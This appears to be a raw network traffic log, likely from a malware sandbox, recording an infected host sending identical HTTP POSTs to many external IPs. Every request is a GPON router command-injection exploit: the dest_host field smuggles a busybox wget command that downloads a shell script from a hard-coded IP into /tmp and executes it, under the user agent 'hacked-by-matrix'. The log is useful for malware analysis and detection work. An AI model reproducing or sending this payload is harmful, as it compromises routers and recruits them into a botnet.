Mar 21, 2024 05:25:10.962816000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	33432	37.226.111.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962913036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	44380	178.201.124.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962938070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.23	47010	79.175.109.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962961912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.23	35446	118.37.151.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962976933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.23	34544	210.158.238.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.962987900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.23	36480	94.64.121.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963057041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.23	51952	42.126.19.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963073969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.23	44898	37.164.38.214	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963092089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.23	37208	109.52.176.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963186026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.23	49318	118.75.160.17	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963192940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.23	59912	42.135.182.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963222027 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.23	35506	2.171.104.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963243008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.23	34654	178.253.40.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963316917 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.23	33792	94.114.171.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963335991 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.23	55614	5.42.181.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963397980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.23	38292	42.92.146.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963424921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.23	39328	2.149.63.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963424921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.23	40524	118.199.161.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963447094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.23	55286	178.34.214.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963480949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.23	59382	109.240.174.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963516951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.23	47690	37.183.229.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963524103 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
162	192.168.2.23	40580	212.246.211.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963562012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
163	192.168.2.23	39292	2.81.189.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:25:10.963612080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
164	192.168.2.23	56856	212.92.102.54	443

Timestamp	Bytes transferred	Direction	Data
